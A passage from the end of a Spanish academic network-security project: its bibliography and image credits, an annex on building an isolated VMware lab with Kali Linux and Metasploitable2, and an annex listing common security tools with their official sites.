83 Mutton, P. (2016). 95% of HTTPS servers vulnerable to trivial MITM attacks | Netcraft. News.netcraft.com. Recuperado de https://news.netcraft.com/archives/2016/03/17/95-ofhttps-servers-vulnerable-to-trivial-mitm-attacks.html Reichenberg, N. (2014). Improving Security via Proper Network Segmentation | SecurityWeek.Com. Securityweek.com. Recuperado de http://www.securityweek.com/improving-security-proper-network-segmentation Recopilación: Segmentación de redes. (2014). Ready Player One?. Recuperado de http://blogs.itpro.es/readyplayerone/2014/10/25/recopilacin-segmentacin-de-redes/ Obregón, L. (2015). Infrastructure Security Architecture for Effective Security Monitoring (1st ed.). SANS Institute. Recuperado de https://www.sans.org/readingroom/whitepapers/bestprac/infrastructure-security-architecture-effective-securitymonitoring-36512 Sánchez, N. (2015). INVESTIGACIÓN SOBRE SEGURIDAD VLAN (1st ed.). México. Recuperado de https://redesemergentestics.files.wordpress.com/2015/11/security_vlans_unit2.pdf Zamorano Rueda, J. (2016). Seguridad en VLANs y sus tipos de ataques. - TechClub Tajamar. TechClub Tajamar. Recuperado de http://techclub.formaciontajamar.com/seguridad-vlanstipos-ataques/ Mitchell, B. (2016). Does your home computer network have a Demilitarized Zone (DMZ)?. Lifewire. Recuperado de http://compnetworking.about.com/cs/networksecurity/g/bldef_dmz.htm What is a DMZ? Security | DSLReports, ISP Information. (2014). DSL Reports. Recuperado de http://www.dslreports.com/faq/4545 Young, S. (2001). Designing a DMZ (1st ed.). SANS Institute. Recuperado de https://www.sans.org/reading-room/whitepapers/firewalls/designing-dmz-950 Ruck, M. (2010). Top Ten Security Issues Voice over IP (VoIP) (1st ed.). DesignData. Recuperado de http://www.designdata.com/wpcontent/uploads/sites/321/whitepaper/top_ten_voip_security_issue.pdf Swayze, T. (2016). VoIP Vulnerabilities: Protecting Against Evolving Threats. Nojitter.com. Recuperado de http://www.nojitter.com/post/240171761/voip-vulnerabilities-protectingagainst-evolving-threats Romero, D. (2012). ¡Marmita 1.3 is out!. Unlearningsecurity.com. Recuperado de http://www.unlearningsecurity.com/2012/03/marmita-13-is-out.html SANS - Information Security Resources. (2009). Sans.org. Recuperado de https://www.sans.org/security-resources/idfaq/running-snort-under-windows/6/4 Borges, A. (2014). How to perform a Heartbleed Attack – Preparation of the test environment and exploiting the best attack (1st ed.). Recuperado de https://alexandreborgesbrazil.files.wordpress.com/2014/04/hearbleed_attack_version_a_1.pd f
84 Ellingwood, J. (2014). How To Install Wordpress on Ubuntu 14.04 | DigitalOcean. Digitalocean.com. Recuperado de https://www.digitalocean.com/community/tutorials/howto-install-wordpress-on-ubuntu-14-04 Waters, A. (2011). The SLAAC Attack – using IPv6 as a weapon against IPv4. wirewatcher. Recuperado de https://wirewatcher.wordpress.com/2011/04/04/the-slaac-attack-using-ipv6as-a-weapon-against-ipv4/ Alonso, C. (2013). Evil FOCA: Ataque SLAAC (1 de 4). Elladodelmal.com. Recuperado de http://www.elladodelmal.com/2013/03/evil-foca-ataque-slaac-1-de-4.html de León, G. (2016). Robar password de Gmail con ataque SLAAC de Evil FOCA. Recuperado de https://www.youtube.com/watch?v=lW993S1dQp8 The Risk of Rogue Devices in Everyday Cybersecurity - Ciklum. (2015). Ciklum. Recuperado de https://www.ciklum.com/blog/risk-rogue-devices-everyday-cybersecurity/ Dirty COW (CVE-2016-5195) is a privilege escalation vulnerability in the Linux Kernel – Phil Oester. (2016). Recuperado de https://dirtycow.ninja/ Garcia Rambla, J. & Alonso, C. (2012). Ataques en redes de datos IPv4 e IPv6. Mostoles: Informatica 64. Gonzalez, P. (2014). Ethical hacking. Mostoles, Madrid: Zeroxword Computing. Imágenes: 1. http://alllies.org/wp-content/uploads/2014/04/banksy-spy1.jpg 2. http://thewindowsclub.thewindowsclubco.netdna-cdn.com/wpcontent/uploads/2012/07/Understanding-How-DNS-Lookup-Works.png 3. http://usuarios.sion.com/pauluk/danielpaz/genomadios.jpg 4. http://4.bp.blogspot.com/-7bem-wXiKyA/TVwgS57lsI/AAAAAAAAAQ4/xrvGTY9bKds/s1600/footprinting.jpg 5. http://www.adrformacion.com/udsimg/exchange10/2/img0088.gif 6. http://www.softzone.es/app/uploads/2016/07/Ejemplo-ataque-DDoS.png 7. http://ptgmedia.pearsoncmg.com/images/art_wilkins_ipv6slaacconfig/elementLinks/t hwilkins_fig01.jpg 8. https://pbs.twimg.com/media/Cq37lsdUEAUfphT.png 9. https://i-technet.sec.s-msft.com/dynimg/IC195334.gif 10. http://www.adrformacion.com/udsimg/wserver12/3/img0089.gif 11. http://www.alcancelibre.org/linux/images/dmz-med.png 12. https://www.imageshost.eu/images/2015/05/20/RIP2_red_segmentada.png 13. http://packetlife.net/media/blog/attachments/332/vlan_hopping_attack.png 14. https://labs.ripe.net/Members/johannes_weber/RogueDHCPv6Server.jpg/view 15. http://4.bp.blogspot.com/-SnNgWGyQVC0/VnhViTLPdI/AAAAAAAAAkw/N3q2GbVZwAs/s640/DHCP%2BSnooping%2B2.png Todos los derechos de imagen reservados a sus distintos autores. En ningún caso se ha pretendido realizar alguna acción con ánimo de lucro con este documento.
85 Anexo 1: Instalación del laboratorio Todo el proyecto se ejecuta en una sola máquina en una red doméstica, en este caso es mi ordenador personal cuyas características son: Procesador: AMD Phenom II x4 955 RAM: 12 Gb Disco duro: 250Gb SSD + 1Tb HDD Es conveniente disponer de un ordenador que pueda soportar varias máquinas activas a la vez. Para emular las máquinas virtuales (VM) se usará VMware Workstation 9. El proceso de instalación es trivial, lo único a destacar es que cada VM debería contar con suficiente memoria RAM para evitar cuelgues. En este caso cada máquina tiene entre 2 y 4Gb de RAM y 20Gb de memoria física. Una vez activadas las máquinas debemos configurar la conectividad de red (no deberíamos tener Metasploitable abierta a Internet para evitar problemas). Para ello en la mayoría de las pruebas debemos señalar que el adaptador de red se va a conectar en modo Host-only. Señalamos la VM y abrimos la configuración de red desde Edit->Virtual Network Editor:
86 Una vez configuradas las VM la red nos quedaría de la siguiente manera: En este ejemplo solo se han señalado tres máquinas, el resto irían consecuentemente añadidas a la red VMware. Haciendo una prueba de ping nos aseguramos que las VM están conectadas entre sí, pero no con el router. Es conveniente realizar esta prueba antes de montar el resto de las pruebas del proyecto. Hay momentos en los que puede interesar abrir la conexión a Internet como por ejemplo para descargar/actualizar paquetes o software. Para eso volvemos a la configuración de red y cambiamos el tipo de red a Bridged. Las direcciones de red deben cambiarse automáticamente a las de nuestra red domestica. (Especial cuidado al asignar direcciones estáticas en las VM) Una vez montada la red partimos del escenario clásico: Kali Linux se utilizará como máquina atacante por su naturaleza. Una de las máquinas será la encargada de proporcionar un servicio. En este proyecto será con preferencia Metasploitable2. El resto de las máquinas se encargan de acceder al servicio y generar tráfico. Es posible que pueda interesar distinguir el tráfico según el sistema operativo, por eso se da la elección de generar el tráfico con cualquier sistema.
87 Anexo 2: Software y herramientas Software Kali Página oficial Kali Linux S.O. https://www.kali.org/ Cisco Packet Tracer http://www.cisco.com/web/learning/netacad/course_catalog/PacketTracer.html Maltego https://www.paterva.com/ Nmap https://nmap.org/ Sparta http://sparta.secforce.com/ p0f http://lcamtuf.coredump.cx/p0f3/ Metasploit Framework https://www.metasploit.com/ Wireshark https://www.wireshark.org/ TheHarvester http://www.edge-security.com/theharvester.php Nikto https://cirt.net/Nikto2 Arpspoof https://www.monkey.org/~dugsong/dsniff/ (Parte del paquete dsniff) Sslstrip https://moxie.org/software/sslstrip/ Driftnet http://www.ex-parrot.com/~chris/driftnet/ SQLmap http://sqlmap.org/ XSSer https://xsser.03c8.net/ EvilFOCA https://www.elevenpaths.com/es/labstools/evil-focasp/index.html BeEF http://beefproject.com/ Yersinia http://www.yersinia.net/ Cain&Abel http://www.oxid.it/cain.html Marmita http://www.unlearningsecurity.com/2012/03/marmita-13-is-out.html